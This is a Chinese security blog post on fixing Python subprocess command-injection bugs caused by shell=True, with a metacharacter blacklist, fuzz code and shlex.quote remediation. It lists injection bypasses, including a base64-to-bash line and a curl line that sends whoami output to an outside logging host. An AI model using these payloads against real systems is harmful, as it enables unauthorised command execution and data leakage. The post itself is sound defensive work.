Author:JoyChou@美丽联合安全

Date:20180605

1. 前言

今天遇到一个不好做白名单的Python命令执行漏洞修复的问题。由于是shell=True导致的任意命令执行,一开始大胆猜测将True改为False即可,经过测试确实是这样,但是参数需要放在list里,稍微有点麻烦。

后来考虑,还可以做黑名单,过滤掉特殊字符,那就写fuzz脚本跑那些需要过滤的字符。最后觉得黑名单方式可能会被绕过,就看官方文档,发现了一个牛逼的修复方法,利用shlex.quote()在命令的参数两边加上一对单引号。

2. 测试环境

CentOS Linux release 7.3.1611 (Core)

Python 2.7.5

本文在没有特殊描述环境下,都是在以上环境测试。

3. shell值为True和False的区别

先来看看造成命令执行的代码

s=subprocess.Popen('id', shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)

print(s.communicate())   # 输出结果,并kill产生的新进程

当shell=True,并且第一个参数外部可控,那么就能造成任意命令执行。

3.1 shell为False

改为False,任意命令执行漏洞就会被修复。但确实是这样

>>> s=subprocess.Popen([zxsq-anti-bbcode-"ls",";id"], shell=False, stderr=subprocess.PIPE, stdout=subprocess.PIPE)

>>> s.communicate()

('', 'ls: cannot access ;id: No such file or directory\n')

这样即使;id可控,也不能任意命令执行。

执行cat /etc/passwd,如果命令要跟参数,第一个参数必须是一个list。

>>> import subprocess

>>> s=subprocess.Popen([zxsq-anti-bbcode-'cat', '/etc/passwd'], shell=False, stderr=subprocess.PIPE, stdout=subprocess.PIPE)

此时,查看python的进程情况:

[zxsq-anti-bbcode-roothome.php?mod=space&uid=193465 ~]# ps -ef | grep 24593

root     24593 24536  0 11:28 pts/0    00:00:00 python

root     24594 24593  0 11:28 pts/0    00:00:00 [zxsq-anti-bbcode-cat] <defunct>

可以看到python有一个子进程叫做(cat)。证明,shell=False是python作为父进程执行了cat这个bin文件,产生一个子进程。测试的时候,如果要kill刚产生的子进程,使用s.communicate(),并查看返回结果。

测试发现,当shell=True,并且subprocess.Popen的第一个参数为一个list时,python进程会被卡死。

3.2 shell为True

import subprocess

s=subprocess.Popen('whoami | wc -l', shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)

可以看到,Python新建了一个叫sh的子进程,该进程执行了whoami | wc -l命令。继续执行python命令s.communicate(),刚产生的子进程就被kill了。

[zxsq-anti-bbcode-root@sec ~]# ps -ef | grep 16323

root     16323 16256  0 14:20 pts/0    00:00:00 python

root     16379 16323  0 14:26 pts/0    00:00:00 [zxsq-anti-bbcode-sh] <defunct>

所以,证明,当shell=True时,Python调用/bin/sh去执行命令。

但是有一个特例,当shell=True,执行一个没有任何参数的命令的情况和shell=False一样。说明,没有任何参数的命令,设置shell=True,并没有生效。

s=subprocess.Popen('whoami', shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)

再查看发现,python的子进程并没有sh,而是[zxsq-anti-bbcode-[whoami] <defunct>],所以证明了,没有任何参数的命令,设置shell=True,并没有新建一个bash去执行该命令。

[zxsq-anti-bbcode-root@sec ~]# ps -ef | grep whoami

root     16200 15484  0 14:13 pts/0    00:00:00 [zxsq-anti-bbcode-whoami] <defunct>

root     16203 11641  0 14:14 pts/1    00:00:00 grep --color=auto whoami

[zxsq-anti-bbcode-root@sec ~]# ps -ef | grep 15484

root     15484 10092  0 12:24 pts/0    00:00:00 python

root     16200 15484  0 14:13 pts/0    00:00:00 [zxsq-anti-bbcode-whoami] <defunct>

3.3 总结二者区别

比较简单粗暴的可以理解为,True用/bin/sh执行,False是Python直接调用命令,而不会通过bash。

具体的细节区别:

当执行的命令没有参数时,无论是否设置shell=True,python直接执行该命令,而不是通过/bin/sh

当shell=True,并且命令存在参数时,python调用/bin/sh执行命令

当shell=True,并且subprocess.Popen的第一个参数为一个list时,python进程会被卡死

如果设置shell为False,并且想执行带参数的命令,第一个参数必须是一个list

4. Linux命令执行绕过

现在有个目标是,利用ls xx来执行id命令,xx可控。fuzz后的结果:

ls | id

ls ; id

ls & id

ls 回车 id

ls `id`

ls ` id`   前面加了一个空格

ls `\id`   反斜杠  i\d等价于id

ls $(id)

下面这几种姿势是在网上的相关paper看到的,补充下,不过还是会利用| & ;等分割符。

ls | a=i;b=d;$a$b   拼接

ls | echo aWQ=| base64 -d | bash   利用base64

ls | curl test.joychou.org/`whoami`   利用dnslog或者http web log

5. 漏洞修复

所以看来,设置shell=False并不能修复命令执行,并且还会影响我们想执行的正常命令。

那就做特殊字符过滤吧。从上面的绕过姿势来看,需要过滤的字符总结如下:

ascii为10

;

|

&

`

$

\

(

)

fuzz的代码大概如下,如果有特殊需求,还需要酌情修改。

#coding: utf-8

import subprocess

def exec_cmd(cmd):

p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

res_msg, res_err = p.communicate()

res = res_msg + res_err

return res

def main():

for i in range(1, 256):

cmd = 'echo 111 ' + chr(i) + ' id'

if 'uid' in exec_cmd(cmd):

print chr(i), i, cmd

for i in range(32, 126): # 可见ascii码

if chr(i) == 'u' or chr(i) == '|' or chr(i) == '&' or chr(i) == ';' or i == 10:

continue

for j in range(32, 126):

cmd = 'echo 111 ' + chr(i) + 'id' + chr(j)

if 'uid' in exec_cmd(cmd):

print chr(i), i, cmd

if __name__ == '__main__':

main()

综上,检测代码:

def check_cmd_exec(input):

'''

* input为输入字符串

* 检测到危险字符串,返回True,否则返回False

* author: JoyChou

* date:   2018-03-21

'''

res = ''

blacklist = '`$\()&;|'

for i, ch in enumerate(input):

if ord(ch) == 10 or ch in blacklist:

return True

return False

不过,话说,有没有自带比较简单粗暴的过滤函数之类的?既能保证功能正常,也能保证安全性。

6. 官方修复

最后在官方文档上看到这样一个描述:

When using shell=True, pipes.quote() can be used to properly escape whitespace and shell metacharacters in strings that are going to be used to construct shell commands.

意思就是,用pipes.quote()过滤就好了。

不过,这个库已经被官方废弃了,官方推荐使用shlex.quote()。 其实pipes.quote()和shlex.quote()这两个功能一样,都是当参数有特殊字符时,在参数两边加上一对''。

>>> a = shlex.quote('xxaa~')

>>> a

"'xxaa~'"

>>> a = shlex.quote('xxaa')

>>> a

'xxaa'

避免命令的原理,看下这个实例就懂了。

>>> filename = 'somefile; whoami'

>>> command = 'ls -l {}'.format(quote(filename))

>>> print(command)

ls -l 'somefile; whoami'

需要注意,只能用在参数上。并且Python2没有shlex,但是Python2和3都有pipes,所以想都适配就用pipes。

7. 总结

推荐两种修复方式:

shell=True,使用pipes.quote()对参数进行过滤

shell=False,参数使用list。缺点是写参数时会稍微麻烦点

8. Refrence

python直接执行代码漏洞_修复Python任意命令执行漏洞相关推荐

  1. php打开网页执行即执行bat程序_CVE202011107:XAMPP任意命令执行漏洞复现

    0x00简介 XAMPP是一个把Apache网页服务器与PHP.Perl及MariaDB集合在一起的安裝包,允许用戶可以在自己的电脑上轻易的建立网页服务器.该软件与phpstudy类似. 2020年4 ...

  2. python控制台执行代码字符串_编写Python脚本以使用控制台命令执行

    研究是在底部,阅读之前...谢谢.在 我必须编写一个运行SQL查询的Python脚本.我创建了一个主类,名为SQLQuery.每个SQLQuery实例表示一个查询.脚本的结构必须如下所示:class ...

  3. python电子相册制作代码大全_用Python和Conky做个电子相册,美化你的Linux桌面

    现在手机的拍照功能日趋强大,每个人电脑上想必都至少有几十个G的照片吧.全打印出来实在是太费钱了.而闲置的旧电脑完全可以利用起来播放这些照片.下面就介绍利用Conky和Python实现随机播放相片的功能 ...

  4. python手写代码面试_常见Python面试题 — 手写代码系列

    原标题:常见Python面试题 - 手写代码系列 作者: Peace & Love 来自:https://blog.csdn.net/u013205877/article/details/77 ...

  5. python函数增强代码可读性_写Python必须知道的这几个代码技巧!你会吗?

    Day09 函数的初始 函数:函数是以功能为导向,一个函数封装一个功能.登录,注册,文件的改的操作... 函数减少代码的重复性,增强了代码的可读性: 获取任意一个字符串的元素的个数 s1 = &quo ...

  6. 修复iis解析漏洞_修复典型的iis 10漏洞并进行安全审核

    修复iis解析漏洞 You will generally be in good shape using IIS 10 to securely host websites, but there are ...

  7. openssh漏洞_技术干货 | OpenSSH命令注入漏洞复现(CVE202015778)

    本公众号发布的文章均转载自互联网或经作者投稿授权的原创,文末已注明出处,其内容和图片版权归原网站或作者本人所有,并不代表安全+的观点,若有无意侵权或转载不当之处请联系我们处理,谢谢合作! 欢迎各位添加 ...

  8. python植物大战僵尸代码例_用Python实现植物大战僵尸游戏,很酷

    以前很火的植物大战僵尸游戏, 本想在网上找个python版本游戏学习下,无奈没有发现比较完整的,那就自己来写一个把.图片资源是从github上下载的,因为图片资源有限,只能实现几种植物和僵尸. 功能实 ...

  9. python画圣诞树代码解读_使用Python画了一棵圣诞树的实例代码

    分享给大家一篇文章,教你怎样用Python画了一棵圣诞树,快来学习. 如何用Python画一个圣诞树呢? 最简单: height = 5 ​ stars = 1 for i in range(heig ...

最新文章

  1. 如何在spring中读取properties配置文件里面的信息
  2. NXP I.MX6ULL 交叉编译工具链下载地址?
  3. redux中的小bug
  4. java gzip 解压文件_Java实现文件压缩与解压[zip格式,gzip格式]
  5. mongo-express 远程代码执行漏洞(CVE-2019-10758)
  6. POJ-1707 Sum of powers bernoulli方程
  7. python语言map函数及map object at 乱码错误
  8. php常见预定义常量,php跨平台小结 常用预定义常量
  9. android数据绑定_Android数据绑定
  10. Zookeeper案例之分布式全局唯一ID生成
  11. 还在纠结用H264还是H265?大家早就在把VP9和H265作比较啦!
  12. exFAT硬盘写保护修复远程登录提示到期
  13. 计算机专业必读的经典书籍!!(建议收藏)
  14. CodecContext-gop_size 是什么
  15. 移动硬盘格式化了的数据找回方法
  16. 为什么建议选英文技术书籍
  17. SSH远程连接服务(五)
  18. 在线检查英文语法神器
  19. 光学镜头分类及相机接口(附镜头规格书)
  20. opencv人脸检测输出的置信率

热门文章

  1. iOS面试题总结 二
  2. Linux下安全扫描工具Nmap用法详解
  3. ​清除error.log、access.log并限制Apache日志文件大小的方法
  4. INFORMIX-4GL实用手册
  5. 各种系统启用snmp协议的方法
  6. 基于SSM实现的奶茶店会员管理系统
  7. HDU-3746-Cyclic Nacklace
  8. 部署篇01:Linux 安装配置JDK
  9. 深入剖析ConcurrentHashMap(1)
  10. 在.NET 3.5 平台上使用LINQ to SQL创建三层/多层Web应用系统(Part5) 转